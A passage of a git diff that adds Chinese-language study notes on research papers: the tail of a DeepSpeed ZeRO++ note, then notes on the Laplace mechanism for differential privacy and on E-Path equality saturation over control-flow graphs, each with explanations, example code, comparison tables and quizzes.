gradient_accumulation_steps=16, + bf16=True, + deepspeed="ds_zero_pp.json", + logging_steps=10, +) + +trainer = Trainer(model=model, args=training_args, train_dataset=dataset) +trainer.train() +``` + +**实践提示**: + +- ZeRO++ **仅 Stage 3**;Stage 1/2 无参数分片 all-gather,开关无效。 +- hpZ 增显存:7B 模型通常可接受;100B+ 需结合 **activation checkpointing**、**offload** 或减小 secondary 组评估 OOM。 +- 与 **TP/PP** 混用时,以 DeepSpeed 文档为准确认 data parallel group 与 hpZ 组对齐。 + +--- + +## 代码示例 3:用伪代码理解 hpZ 的「双分区」 + +下面不是 DeepSpeed 源码,而是帮助理解 **forward 用 primary、backward 用 secondary** 的逻辑: + +```python +def forward_layer(layer_id, x, primary_group, secondary_group): + # 跨所有 rank gather(可能跨节点) + W_full = all_gather_shard(local_W_shard, group=primary_group) + y = matmul(x, W_full) + # 用完后按节点内 secondary 组分片存回去 + W_secondary_shard = repartition(W_full, group=secondary_group) + free(W_full) + return y, W_secondary_shard + + +def backward_layer(x, grad_y, W_secondary_shard, secondary_group): + # 只在节点内 gather,无跨节点权重流量 + W_full = all_gather_shard(W_secondary_shard, group=secondary_group) + grad_W = backward_matmul(x, grad_y, W_full) + return grad_W +``` + +这正是 hpZ「**用内存买跨节点带宽**」的精髓:多存一份节点内 FP16 分片,换掉反向 pass 里最贵的那次跨机 all-gather。 + +--- + +## 实验结论(论文摘要) + +| 场景 | 结果 | +|------|------| +| 规模 | 最高 **384 GPU**,GPT 类模型 | +| 吞吐 | 小 batch 下仍可达峰值算力 **45%+**;相对 ZeRO 最高 **~2.4×**(10B–138B) | +| 384 GPU 全开启 | **2.165×**(hpZ + qwZ + qgZ) | +| RLHF 训练 | 相对 vanilla ZeRO 最高约 **3.3×**(通信更敏感的对齐阶段) | +| 收敛 | 预训练 13B(8/6-bit gather)、微调 30B(4/2-bit gather)与标准 ZeRO **精度持平** | +| 推理副产品 | 训练结束权重已是低比特分块量化形态,可**跳过 PTQ/QAT** 直接用于推理 | +| 对比 MiCS | hpZ 与 MiCS 等 hierarchical ZeRO 思路相近,ZeRO++ 在 DeepSpeed 栈内一体化 | + +论文还消融了仅开 qwZ、仅开 hpZ、仅开 qgZ 的组合,便于按集群拓扑「按需点菜」。 + +--- + +## 何时用 / 何时慎用 + +**适合**: + +- 多节点训练,**跨节点带宽**明显低于 NVLink。 +- 大模型导致 **micro-batch 很小**,计算/通信比差。 +- 已用 ZeRO-3,profiler 显示 **all-gather / reduce-scatter** 占比高。 + +**慎用 / 需测**: + +- **单节点**多卡:hpZ 跨节点收益为 0,qwZ/qgZ 仍有但增益变小。 +- **显存极度紧张**:hpZ secondary 副本可能触发 OOM——先 profiling 内存。 +- 与某些 **自定义通信 hook** 或旧版 DeepSpeed 混用:需查 release note。 + +--- + +## 与相关工作的关系 + +| 方向 | 代表 | 与 ZeRO++ 关系 | +|------|------|----------------| +| 参数分片 | ZeRO / ZeRO-3 | ZeRO++ 直接扩展 | +| 分层通信 | MiCS | hpZ 同类 hierarchical partition 思想 | +| 梯度压缩 | PowerSGD、1-bit Adam | qgZ 强调 **dequant 后再归约**,避免低精度 sum | +| 算子融合 | [[liger-kernel-llm-training]]、[[flashattention-2]] | 互补:减单卡 work,ZeRO++ 减多卡 bytes | +| 3D 并行 | Megatron TP/PP/DP | 可叠加;通信瓶颈仍在 DP/ZeRO 侧 | + +--- + +## 自测题 + +1. ZeRO-3 一步训练里,哪三次集体通信贡献了 **3M** 通信量?ZeRO++ 分别怎么压? +2. 为什么 qgZ 不能简单做 **INT4 reduce-scatter**,而要用 all-to-all + 高精度归约? +3. `zero_hpz_partition_size=8` 在一台 8 卡机器上意味着什么?若设为 1 呢? +4. hpZ 的 secondary 副本存在哪个粒度(节点内 / 全局)?Optimizer 更新跟哪套分片走? + +
+参考答案 + +1. 前向权重 all-gather(M)、反向权重 all-gather(M)、梯度 reduce-scatter(M)。qwZ 把前向压到 0.5M;hpZ 把反向跨节点压到 0;qgZ 把梯度跨节点压到约 0.25M。 +2. 低精度直接累加会放大量化误差,损害收敛;qgZ 先传 INT4,接收后 dequant 到 FP16 再 sum。 +3. =8 表示 secondary 组含 8 GPU,通常即整节点,反向权重 gather 不跨节点;=1 关闭 hpZ,行为退回 ZeRO-3。 +4. Secondary 在**节点内**(或可配置子组)分片;optimizer step 更新 **primary** 全局分片。 + +
+ +--- + +## 延伸阅读 + +- DeepSpeed ZeRO 教程:[ZeRO](https://www.deepspeed.ai/tutorials/zero/) +- DeepSpeed ZeRO++ 教程:[zeropp.md](https://github.com/deepspeedai/DeepSpeed/blob/master/docs/_tutorials/zeropp.md) +- 微软研究院博文:[DeepSpeed ZeRO++ — 4× less communication](https://www.microsoft.com/en-us/research/blog/deepspeed-zero-a-leap-in-speed-for-llm-and-chat-model-training-with-4x-less-communication/) +- 原始论文:[arXiv:2306.10209](https://arxiv.org/abs/2306.10209) diff --git a/src/content/docs/papers/dwork-differential-privacy-2006.md b/src/content/docs/papers/dwork-differential-privacy-2006.md new file mode 100644 index 000000000..0feb574ae --- /dev/null +++ b/src/content/docs/papers/dwork-differential-privacy-2006.md @@ -0,0 +1,256 @@ +--- +title: 校准噪声与敏感度 — 差分隐私的 Laplace 机制 +来源: https://link.springer.com/chapter/10.1007/11681878_14 +日期: 2026-06-13 +分类: 安全与隐私 +子分类: 安全与隐私 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Calibrating Noise to Sensitivity in Private Data Analysis**(Dwork、McSherry、Nissim、Smith,TCC 2006)是差分隐私工程化的奠基论文之一。它回答了一个非常具体的问题:**给定任意统计查询函数 \(f\),要加多少随机噪声,才能让「数据库里有没有你这一条记录」在输出上几乎看不出来?** + +论文的核心答案是:**噪声尺度由查询的敏感度(sensitivity)决定,而不是由数据库大小或输出维度拍脑袋决定。** 具体机制就是著名的 **Laplace 机制**:对每个输出坐标加独立 Laplace 噪声,标准差为 \(\Delta_1(f)/\varepsilon\)。 + +日常类比:想象市政府要公布「全市平均通勤时间」。你的通勤记录是数据库里的一行。如果删掉你,平均值最多变化 \(\Delta\) 分钟——这就是敏感度。公布时不能报精确值,而要往结果里撒一把「随机抖动」;\(\Delta\) 越大,抖动必须越猛;\(\varepsilon\) 越小(隐私越强),抖动也要越猛。这篇论文把「抖动该多大」变成了可计算的公式,而不是隐私官的直觉。 + +一句话:**敏感度告诉你「一条记录最多能撬动多少」;Laplace 噪声按这个撬动幅度校准,从而形式化地实现 ε-差分隐私。** + +## 为什么重要 + +在 ICALP 2006 的 [[dwork-dp-icalp-2006]] 给出差分隐私定义之后,这篇 TCC 论文把定义变成了**可复用的算法积木**: + +- **从「噪声求和」推广到任意函数**:早期工作只处理 \(\sum_i g(x_i)\) 这类加性查询;本文证明任意向量值函数 \(f: D^n \to \mathbb{R}^d\) 都能用同一套敏感度框架处理。 +- **噪声与维度解耦**:直方图、列联表、协方差矩阵输出维度可以很高,但 \(L_1\) 敏感度往往与维度无关(例如直方图敏感度为 2)。这意味着**不必因为格子多就按比例加大噪声**——这是相对先前框架的重要改进。 +- **交互式机制优于一次性脱敏**:论文证明非交互式「发布一张噪声表」无法同时回答所有低敏感度查询;交互式问答可以用小噪声逐个回答——这影响了后来 Census、私有 SQL、DP-SGD 的产品形态。 +- **后续一切「加噪发布」的母本**:Apple 本地 DP、Google RAPPOR、Opacus 梯度裁剪 + 加噪,本质都在控敏感度后校准噪声。 + +## 核心概念 + +### 1. 邻接数据集(Adjacent Databases) + +两个数据库「邻接」,若它们只差**一条记录**(增删改一人)。差分隐私的所有保证都相对这个关系:攻击者不知道真实库是 \(D\) 还是 \(D'\)。 + +日常类比:两份选民名册只差张三是否出现——对外发布的统计结果在这两种情况下应该「看起来像」。 + +### 2. ε-不可区分(ε-Indistinguishability) + +论文用 transcript(问答记录)的分布来刻画隐私。机制 \(\mathcal{M}\) 是 ε-不可区分的,若对任意邻接 \(x, x'\) 和任意 transcript \(t\): + +\[ +\left|\ln \frac{\Pr[\mathcal{M}(x)=t]}{\Pr[\mathcal{M}(x')=t]}\right| \le \varepsilon +\] + +这比「总变差距离很小」更严格:即使某个输出点概率不为零,比值也被 \(e^\varepsilon\) 限制。今天文献里常直接称 **ε-差分隐私(pure DP)**。 + +### 3. 全局 \(L_1\) 敏感度 + +对函数 \(f: D^n \to \mathbb{R}^d\): + +\[ +\Delta_1(f) = \max_{x,x':\, d_H(x,x')=1} \|f(x) - f(x')\|_1 +\] + +即:**改一条记录,输出在曼哈顿距离下最多跳多远。** 敏感度是 \(f\) 的内在属性,与真实数据内容无关,也**不随数据库人数 \(n\) 变化**(对计数类查询尤其关键)。 + +常见值: + +| 查询 | 敏感度 | 直觉 | +|------|--------|------| +| 计数(0/1 库) | 1 | 多/少一人,计数变 1 | +| 直方图(不相交分箱) | 2 | 一人从一个箱移到另一个箱 | +| 有界求和 \(g(x_i)\in[0,B]\) | \(B\) | 一人贡献从 0 变 \(B\) | +| 均值(每人 \([0,B]\),\(n\) 人) | \(B/n\) | 一人从 0 变 \(B\) 拉低均值 \(B/n\) | + +### 4. Laplace 机制(核心定理) + +**命题(非交互输出扰动)**:对任意 \(f: D^n \to \mathbb{R}^d\),机制 + +\[ +\mathcal{M}(x) = f(x) + (Y_1, \ldots, Y_d), \quad Y_i \stackrel{i.i.d.}{\sim} \mathrm{Lap}(\Delta_1(f)/\varepsilon) +\] + +满足 ε-差分隐私。 + +Laplace 分布密度 \(\propto \exp(-|y|/\lambda)\)。关键性质:若 \(z\) 与 \(z'\) 的 \(L_1\) 距离为 \(d\),则 \(z+Y\) 与 \(z'+Y\) 的输出密度比至多为 \(e^{d/\lambda}\)。令 \(\lambda = \Delta_1(f)/\varepsilon\) 即得证。 + +### 5. 自适应交互查询 + +用户可据上一轮带噪答案再问下一轮。论文 **Theorem 1** 指出:若第 \(t\) 轮查询函数为 \(f_t\),噪声尺度取 \(\lambda = \max_t \Delta_1(f_t)/\varepsilon\),则整个 transcript 仍 ε-DP。隐私预算在交互过程中被**最坏一轮的敏感度**支配。 + +### 6. 非交互式机制的局限(分离结果) + +若数据托管方只能**一次性**发布脱敏表(不能交互问答),则对任意此类机制,存在低敏感度函数无法被近似回答——除非数据库规模达到 \(2^{\Omega(d)}\)(每行 \(d\) 比特)。这解释了为何现代 DP 产品多采用**查询时加噪**而非「先发布一张万能噪声表」。 + +## 代码示例 + +### 示例 1:Laplace 机制实现私有计数 + +```python +import numpy as np + +def laplace_mechanism(true_value: float, sensitivity: float, epsilon: float) -> float: + """标量 Laplace 机制:M(x) = f(x) + Lap(Δ/ε)。""" + if sensitivity <= 0 or epsilon <= 0: + raise ValueError("sensitivity and epsilon must be positive") + scale = sensitivity / epsilon + noise = np.random.laplace(loc=0.0, scale=scale) + return true_value + noise + +# 数据库:n 人是否患流感(0/1),真实患病人数 +flu_cases = 1_247 +n = 50_000 +epsilon = 0.5 # 隐私预算:越小噪声越大 + +# 计数敏感度 = 1(多/少一人,计数最多变 1) +private_count = laplace_mechanism(flu_cases, sensitivity=1.0, epsilon=epsilon) +print(f"真实计数: {flu_cases}") +print(f"私有计数: {round(private_count)}") +print(f"噪声尺度 Lap(Δ/ε) = Lap({1/epsilon:.2f})") +``` + +运行多次会看到结果在真值附近波动;\(\varepsilon=0.1\) 时波动明显大于 \(\varepsilon=1.0\),但攻击者仍无法可靠判断「某特定个体是否患病」。 + +### 示例 2:多维直方图 + 敏感度 2 + +```python +import numpy as np +from collections import Counter + +def dp_histogram(counts: list[int], epsilon: float) -> np.ndarray: + """ + 不相交分箱直方图:L1 敏感度 = 2。 + 每人只能落在一个箱;改一人最多让一个箱 -1、另一个箱 +1。 + """ + sensitivity = 2.0 + scale = sensitivity / epsilon + noise = np.random.laplace(loc=0.0, scale=scale, size=len(counts)) + return np.maximum(0, np.array(counts, dtype=float) + noise) # 后处理截断非负 + +# 模拟年龄分箱 +bins = ["0-17", "18-34", "35-49", "50-64", "65+"] +true_counts = [8200, 15400, 12100, 9800, 4500] + +noisy = dp_histogram(true_counts, epsilon=0.8) +for name, true_v, priv_v in zip(bins, true_counts, noisy): + print(f"{name:6s} 真实={true_v:5d} 私有={priv_v:6.0f} 误差={priv_v-true_v:+6.0f}") +``` + +注意:对负值做 `max(0, ·)` 是**后处理**,不会破坏 DP;但会引入偏差,正式分析常用无偏估计或指数机制。 + +### 示例 3:从敏感度推导均值查询噪声(推导练习) + +```python +def dp_mean(values: list[float], low: float, high: float, epsilon: float) -> float: + """ + 每人贡献有界在 [low, high];均值 f(x)=sum/n 的 L1 敏感度为 (high-low)/n。 + """ + n = len(values) + true_mean = sum(values) / n + sensitivity = (high - low) / n + return laplace_mechanism(true_mean, sensitivity, epsilon) + +salaries = [45_000, 62_000, 88_000, 120_000, 200_000] # 已截断到合理区间 +print(f"私有均值薪资: {dp_mean(salaries, low=0, high=250_000, epsilon=1.0):,.0f}") +``` + +## 实践案例 + +### 案例 1:人口普查年龄直方图 + +美国人口普查等场景发布各年龄段人数。用 Laplace 机制对每个格子独立加噪,敏感度 2、与格子数量无关。总隐私损失需对 \(k\) 个格子做**组合会计**(基础定理:顺序发布 \(k\) 次 ε-DP 机制,总损失 \(O(k\varepsilon)\))。 + +### 案例 2:私有 SQL 中的 COUNT(*) + +查询 `SELECT COUNT(*) FROM patients WHERE flu=1` 的敏感度为 1。在查询引擎中拦截、加 Laplace(1/ε) 噪声后返回。与 [[dwork-dp-icalp-2006]] 的定义衔接,形成「定义 → 机制 → 产品」闭环。 + +### 案例 3:梯度裁剪与 DP-SGD 的敏感度视角 + +[[abadi-dpsgd-2016]] 训练时对每样本梯度裁剪到范数 \(C\),使单次迭代的梯度求和敏感度有界,再加高斯噪声。裁剪不是在「加密」,而是在**人为降低 \(\Delta\)**,从而减小所需噪声、保住模型效用。 + +## 踩过的坑 + +1. **把 ε 当成「泄露百分比」**:ε 是对数似然比上界,不是「10% 数据被看见」。ε=0.1 与 ε=10 的含义需查表或做隐私会计,不能线性直觉。 + +2. **敏感度用局部而非全局**:必须对**所有**邻接对取最大值。均值若错误地用 \(B\) 而非 \(B/n\),会加过大噪声,效用崩盘。 + +3. **重复计数同一人**:若一人可占多行,「改一人」可能动多行,敏感度被放大——数据库建模错误会导致隐私保证失效。 + +4. **多次查询不记账**:每轮 Laplace 机制消耗 ε。交互 1000 次 ε=0.01 的查询,朴素组合可达 ε=10,隐私名存实亡。需高级组合或 Rényi DP 会计(见 [[mironov-renyi-dp-2017]])。 + +5. **与非交互脱敏混淆**:指望「先发一张噪声 CSV 啥都能查」在理论上行不通;论文分离结果早已说明交互式的必要性。 + +6. **Laplace vs Gaussian 混用**:本文是 **pure ε-DP** 的 Laplace 线;\((\varepsilon,\delta)\)-DP 常用 Gaussian,\(\delta>0\) 时噪声可更小。见 [[dwork-our-data-ourselves-2006]]。 + +## 适用 vs 不适用 + +**适用**: + +- 数值统计发布:计数、求和、直方图、有界均值 +- 交互式私有查询 API、私有 SQL +- 需要可证明 ε 的上游隐私预算规划 +- 教学与实现 Laplace 机制的第一篇原文 + +**不适用**: + +- 需要 \(\delta=0\) 且高维连续优化时,Gaussian / DP-SGD 更常见 +- 非数值输出(选最优医院、Top-K)需指数机制或 Report Noisy Max +- 本地 DP(用户端随机响应)机制不同,见 RAPPOR 等 +- 指望一次发布脱敏表回答任意查询——论文已证其局限 + +## 与相关工作的关系 + +```text +Dinur–Nissim (2003) ──► 过多查询可重构数据库 + │ +Dwork ICALP 2006 ─────► ε-差分隐私定义 + │ +DMNS TCC 2006 ────────► 敏感度 + Laplace 机制(本篇) + │ +BLR'08 / 后续 ────────► 高级组合、矩会计 + │ +Abadi DP-SGD 2016 ────► 深度学习中的有界敏感度 + 加噪 +``` + +## 历史背景(可跳过) + +- **2003**:Dinur & Nissim 证明,若无限制地回答布尔子集计数,线性量级的噪声仍可能被用来重构数据库。 +- **2006 初**:Dwork 在 ICALP 提出差分隐私定义,回应 Dalenius「统计库不泄露个人」的不可能性。 +- **2006 春**:本篇 TCC 论文将噪声校准推广到一般 \(f\),并分析直方图、协方差等,噪声从 \(O(\sqrt{d})\) 改进到 \(O(1)\) 量级(对敏感度而言)。 +- **2017 起**:Journal of Privacy and Confidentiality 再版,成为教材与工业实现的标准引用。 + +## 关键公式速查 + +| 符号 | 含义 | +|------|------| +| \(\varepsilon\) | 隐私预算,越小越强 | +| \(\Delta_1(f)\) | 全局 \(L_1\) 敏感度 | +| \(\mathrm{Lap}(\lambda)\) | 尺度 \(\lambda\) 的 Laplace,标准差 \(\lambda\) | +| 机制 | \(f(x) + \mathrm{Lap}(\Delta_1(f)/\varepsilon)\) 各坐标独立 | + +## 延伸阅读 + +- 定义入门:[[dwork-dp-icalp-2006]] +- 同作者姊妹篇:[[dwork-calibrating-noise-2006]]、[[dwork-our-data-ourselves-2006]] +- 深度学习:[[abadi-dpsgd-2016]] +- 原文 PDF:[MIT 作者稿](https://people.csail.mit.edu/asmith/PS/sensitivity-tcc-final.pdf) +- Springer 章节:[10.1007/11681878_14](https://link.springer.com/chapter/10.1007/11681878_14) + +## 自测题 + +1. 为什么计数查询的敏感度是 1 而不是 \(1/n\)? +2. 直方图敏感度为何是 2 而与分箱数 \(d\) 无关? +3. 若连续发布 20 个独立的 ε=0.05 Laplace 计数,朴素隐私损失上界是多少? +4. 交互式机制相对「一次性噪声表」的优势,用论文分离结果怎么表述? + +
+参考答案 + +1. 多一人计数 +1,少一人 -1,最大变化量是 1;\(n\) 是规模,不是敏感度定义的一部分。 +2. 改一人只影响两个箱(原箱 -1,新箱 +1),\(L_1\) 变化 \(|-1|+|+1|=2\);\(d\) 只影响输出向量长度,不影响单人最大扰动。 +3. 朴素顺序组合 \(20 \times 0.05 = 1.0\)(更紧的会计可用 advanced composition)。 +4. 非交互机制无法同时近似所有低敏感度查询,除非 \(n\) 指数级大;交互可对每个 \(f_t\) 单独加 \(\mathrm{Lap}(\Delta_1(f_t)/\varepsilon)\) 噪声回答。 + +
diff --git a/src/content/docs/papers/e-path-egraph.md b/src/content/docs/papers/e-path-egraph.md new file mode 100644 index 000000000..52b912f83 --- /dev/null +++ b/src/content/docs/papers/e-path-egraph.md @@ -0,0 +1,328 @@ +--- +title: E-Path — 控制流图上的等价饱和 +来源: https://arxiv.org/abs/2605.28694 +日期: 2026-06-13 +分类: 编程语言 +子分类: 类型与 PL 理论 +provenance: pipeline-v3 +--- + +## 从日常类比开始:装修队 vs 平行宇宙样板间 + +想象你要装修一套老房子(**编译器要优化一段带循环的程序**)。 + +**传统 CFG 优化器**像一支**边干边砸墙的装修队**:先把客厅墙敲掉做开放式厨房(LICM 把常量提到循环外),原来的布局图纸就扔了;下一步想做「把两间小卧室合并」时,已经看不到「没敲墙之前」长什么样。而且**施工顺序**极其重要——先刷漆再铺地板,和先铺地板再刷漆,最后效果可能天差地别。这就是编译器里臭名昭著的 **phase-ordering problem(阶段排序问题)**。 + +**等价饱和(Equality Saturation)** 像**同时保留多套平行宇宙样板间**:原版、提常量版、融合分支版……都挂在同一张「等价关系网」上,最后按预算(成本模型)挑一套最划算的,而不是施工中途把别的方案销毁。 + +过去这类技术(**E-Graph / egg**)擅长在**表达式树**上做代数化简——相当于只装修**家具摆放**,对**户型结构(控制流)** 往往要先强行改成树状或结构化 IR,才能下手。 + +**E-Path**(Guillermo Garcia,2026 年 5 月,[arXiv:2605.28694](https://arxiv.org/abs/2605.28694))提出:能不能**直接在 CFG 上**做等价饱和,把**基本块指令序列**当作等价单元,而不是单个表达式?论文在 Rust 编译器后端 **Crabstar** 上做了原型,IR 是受限的 **ANF(A-Normal Form)CFG**——每个基本块「一条指令 + 一个控制流终结符」,但作者强调模型本身可推广到其他 IR。 + +一句话:**E-Path = 在控制流图上做「只增不改」的等价饱和,用 E-Sequence 存多套等价 CFG 片段,最后用符号成本挑赢家。** + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 论文 | E-Path: Equality Saturation for Control-Flow Graphs | +| 作者 | Guillermo Garcia | +| 原型 | Crabstar 编译器后端(Rust) | +| 核心数据结构 | **E-Path** — 单调增长的等价 E-Sequence 集合 | +| 基本单元 | **E-Sequence** — 从 CFG 导出的基本块线性序列(可编码循环、分支等区域) | +| 与 E-Graph 的区别 | 等价类挂在**指令序列**上,而非表达式 e-class | + +--- + +## 为什么重要 + +### 1. 阶段排序是真实痛点 + +LLVM、GCC 的 pass 流水线是**启发式排期**:LICM 在 GVN 前还是后?不同顺序可能得到不同机器码。E-Path 把「探索多种 CFG 组织」变成**在同一搜索空间里并行保留**,提取阶段再全局比较。 + +### 2. 经典优化可以写成「单调重写」 + +论文以 **LICM(循环不变量外提)** 为例:传统实现**原地改写** CFG;E-Path 则**新增**一条等价 E-Sequence,原版仍留在集合 \(P\) 里。形式化地: + +\[ +P_1 \in P \quad \text{其中 } P_1 \text{ 由 } P_0 \text{ 经 LICM 得到} +\] + +\(P_0\) 与 \(P_1\) **同时有效**,提取器稍后决定用谁。 + +### 3. 补上了「CFG 原生」等价饱和的空白 + +| 路线 | 做法 | 局限 | +|------|------|------| +| **egg / E-Graph** | 表达式级 e-class + rewrite | 任意 CFG 常需先规范化 | +| **RVSDG** | 嵌套区域 + 显式依赖 | 仍要把任意控制流规范化 | +| **传统 SSA 编译器** | 直接改 CFG | 破坏性、顺序敏感 | +| **E-Path** | 在 CFG 嵌入的指令序列上饱和 | 原型仅支持可约循环等(见局限) | + +--- + +## 核心概念 + +### 1. 控制流图(CFG) + +\(G = (V, E)\):\(V\) 为基本块集合,\(E\) 为有向控制边。在 Crabstar 受限 IR 中,每个块 \(b \in V\) 含**单条指令** + **参数化终结符**(分支、回边等)。 + +### 2. E-Sequence(等价序列) + +\[ +S = [b_1, b_2, \ldots, b_n], \quad b_i \in V +\] + +表面是**线性基本块列表**,但通过终结符语义可表示**更高层控制结构**(条件分支引用后继区域、合并块界定序列边界),不必把每个分支局部块都枚举进序列。 + +**日常类比**:E-Sequence 像「户型说明书里的功能分区清单」——列的是客厅、主卧、厨房顺序,但说明书里用脚注标出「此处可开推拉门连阳台」,不必把每种门洞展开成独立房间。 + +### 3. E-Path(单调等价集) + +\[ +P = \{S_1, S_2, \ldots, S_n\} +\] + +重写规则 \(r\) 产生新序列: + +\[ +S_i \xrightarrow{r} S_j \Rightarrow S_j \text{ 插入 } P +\] + +**关键不变量:单调性**——已有序列**永不修改**,只**追加**。语义等价**不由 E-Path 内部证明**,而依赖**外部已验证的重写规则**(与 egg 相同哲学:正确性在规则,不在数据结构)。 + +### 4. LICM 作为重写规则 + +对含循环的 E-Sequence,流水线三步: + +1. **环检测** — 在序列上识别对应 CFG 循环的区域 +2. **不变量判定** — 块的操作数与副作用是否依赖环内被修改的值 +3. **序列重构** — 构造新序列:不变块放到 **preheader**,环内只留变块 + +非正式规则: + +\[ +\text{loop}(I,\, B_{\text{inv}} \cup B_{\text{var}}) +\;\rightarrow\; +B_{\text{inv}};\, \text{loop}(I,\, B_{\text{var}}) +\] + +**不替换**原序列,只**加入**结构不同的等价序列。 + +### 5. 符号成本提取(Extraction) + +多候选并存时,用**符号成本**选最优: + +- 循环成本:\(C = N \cdot M\)(\(N\) 为符号迭代次数,\(M\) 为循环体代价) +- 序列总成本:块代价求和 + 循环区域缩放 + +\[ +S^* = \arg\min_{S \in P} C(S) +\] + +### 6. 两种模式匹配 + +| 模式 | 作用 | +|------|------| +| **表达式级** | ANF 使数据依赖显式,可像 E-Graph 一样匹配计算子图 | +| **控制流级** | 在 CFG 拓扑上匹配:无环指令序列、**可约**循环区域 | + +### 7. 工程权衡:增长与去重 + +单调性意味着 E-Sequence 数量可能**无界增长**。实现用 **hash consing + 结构哈希去重**;饱和定义为**不动点**——不再有新序列产生。 + +--- + +## 代码示例 1:论文中的 LICM 运行例子 + +下面用接近论文 IR 的伪代码展示**传统破坏性 LICM** vs **E-Path 保留双版本**。 + +**优化前** — 循环头每次迭代都执行 `iconst 42`(与归纳变量 `i` 无关): + +```text +loop_header(i): + c = iconst 42 ; 循环不变 + one = iconst 1 + next_i = add i, one + loop_back(next_i) +``` + +**经典编译器 LICM 之后** — 原 CFG **被覆盖**,再也拿不到「未外提」版本: + +```text +preheader: + c = iconst 42 + +loop_header(i): + one = iconst 1 + next_i = add i, one + loop_back(next_i) +``` + +**E-Path 视角** — 集合 \(P\) 同时包含两条 E-Sequence: + +```text +; S0 — 原始序列(仍保留) +S0 = [ loop_header: iconst42 → iconst1 → add → loop_back ] + +; S1 — LICM 重写新增(不删除 S0) +S1 = [ preheader: iconst42 , + loop_header: iconst1 → add → loop_back ] +``` + +提取器若发现外层循环迭代次数 \(N\) 很大,会倾向 \(S_1\)(每迭代少一条 `iconst`);若 \(N\) 符号未知但 preheader 插入有额外开销,也可能保留 \(S_0\)。**决策推迟到全局成本比较**,而非 LICM pass 当场拍板。 + +--- + +## 代码示例 2:用 Rust 风格伪代码理解「单调插入」 + +这不是 Crabstar 源码,而是帮助理解 API 形状的**教学伪代码**: + +```rust +/// E-Path:单调等价集(只 insert,不 mutate 已有 S) +struct EPath { + sequences: HashMap, // hash cons 去重 +} + +struct ESequence { + blocks: Vec, + // 终结符编码分支/回边,线性列表可指代结构化区域 +} + +/// 重写规则:LICM — 返回新序列,旧序列仍在 path 里 +fn licm_rewrite(path: &mut EPath, s: &ESequence, loop_region: LoopRegion) -> Option { + let (invariant, variable) = partition_blocks(&s.blocks, &loop_region)?; + if invariant.is_empty() { + return None; + } + let mut new_blocks = Vec::new(); + new_blocks.extend(build_preheader(&invariant)); + new_blocks.extend(rebuild_loop_header(&variable, &loop_region)); + let s_new = ESequence { blocks: new_blocks }; + // 结构哈希相同则跳过;否则插入 P(永不修改 s) + path.insert_monotonic(s_new) +} + +/// 饱和:反复应用规则直到不动点 +fn saturate(path: &mut EPath, rules: &[RewriteRule], seed: ESequence) { + path.insert_monotonic(seed); + loop { + let mut changed = false; + for s in path.sequences.values().cloned().collect::>() { + for rule in rules { + if let Some(id) = rule.apply(path, &s) { + changed |= path.contains(id); + } + } + } + if !changed { break; } + } +} + +/// 提取:符号成本最小化 +fn extract(path: &EPath, cost_model: &SymbolicCost) -> ESequence { + path.sequences + .values() + .min_by_key(|s| cost_model.evaluate(s)) + .cloned() + .expect("non-empty E-Path") +} +``` + +要点: + +- `insert_monotonic` 体现**只增不改** +- `saturate` 外层对**当前所有** E-Sequence 试规则 — 与 egg 的「对 e-class 反复 rewrite」类似,但单位是 **CFG 片段** +- `extract` 在**多套完整控制流组织**之间选,而非局部 peephole + +--- + +## 与 Equality Saturation / egg 的对比 + +```text +传统 Equality Saturation (egg): + 程序片段 → E-Graph (e-nodes / e-classes) + 重写:代数规则、表达式等价 + 控制流:常借助 CFG skeleton 外挂,或先结构化 + +E-Path: + 程序片段 → CFG 上的 E-Sequence + 重写:LICM 等 CFG 变换 = 序列级规则 + 控制流:一等公民,不必先压成树 +``` + +若你读过 [[ssa]] 笔记:SSA 让**数据流**清晰;E-Path 则在**控制流 + 指令序列**层面做**多套等价布局的联合搜索**,两者可共存于同一后端 pipeline。 + +--- + +## 架构与实现要点 + +1. **IR 约束(原型)**:ANF CFG,每块单指令 + 终结符 — 简化匹配与规则构造,**非** E-Path 理论必需。 +2. **正确性边界**:规则需外部证明语义保持;E-Path **不**内建全程序验证器。 +3. **终止性**:依赖规则系统不动点 + 去重;复杂规则集可能不终止(与一般 EqSat 相同风险)。 +4. **并行前景**(论文 Future Work):各 E-Sequence 可并行匹配/重写,同步点仅为等价集插入 — 适合探索大搜索空间。 + +--- + +## 当前局限(论文第 10 节) + +| 局限 | 说明 | +|------|------| +| 控制流形状 | 仅**可约**循环;无条件分支、跳转表、不可约循环尚未支持 | +| 内存与副作用 | 未建模别名、内存效应、推测执行 | +| 语义证明 | 假定重写规则正确,无内部等价证明 | +| 规模 | 单调集增长需 hash cons;激进规则下空间仍可能爆炸 | + +未来计划:分支分布、循环交换/分裂/融合、部分展开、向量化,以及常量传播、DCE、CSE 等**同样写成单调重写**。 + +--- + +## 相关工作速览 + +- **Tate et al. 2009 / egg (POPL 2021)**:表达式级等价饱和的奠基与工业级实现。 +- **RVSDG (Reissmann et al. 2020)**:用嵌套区域弱化显式 CFG,但仍需规范化。 +- **Cranelift / Julia IR 的 CFG skeleton**:控制流语句与 e-graph 分离存储 — 与 E-Path「序列即等价单元」形成对照。 +- **eqsat MLIR dialect** 等:把 e-graph **嵌入** IR;E-Path 则强调 **CFG 原生序列** 而非外挂表达式图。 + +--- + +## 学习路径建议 + +1. 先理解 **phase-ordering** 与 **destructive CFG pass**(可读 [[ssa]] 与传统 LICM 资料)。 +2. 读 **egg** 教程,建立 e-graph / rewrite / extract 心智模型。 +3. 用本文 **示例 1** 手画 \(P_0, P_1\) 两套序列,体会「为何不删旧版」。 +4. 若做编译器后端:思考你的 IR 能否切成「单指令基本块 + 显式终结符」以利匹配。 +5. 跟踪 Crabstar / E-Path 开源进展(论文称 Rust 原型已存在)。 + +--- + +## 自测题 + +1. E-Path 的「单调性」解决了传统优化器的什么痛点? +2. E-Sequence 与 E-Graph 的 e-class 在「等价粒度」上有何不同? +3. 为何 LICM 在 E-Path 里是「加新序列」而不是「改原序列」? +4. 提取阶段 \(S^* = \arg\min C(S)\) 与传统 pass 链的决策点有何区别? +5. 论文认为 E-Path 不适合立即替代 egg 的场景是什么? + +
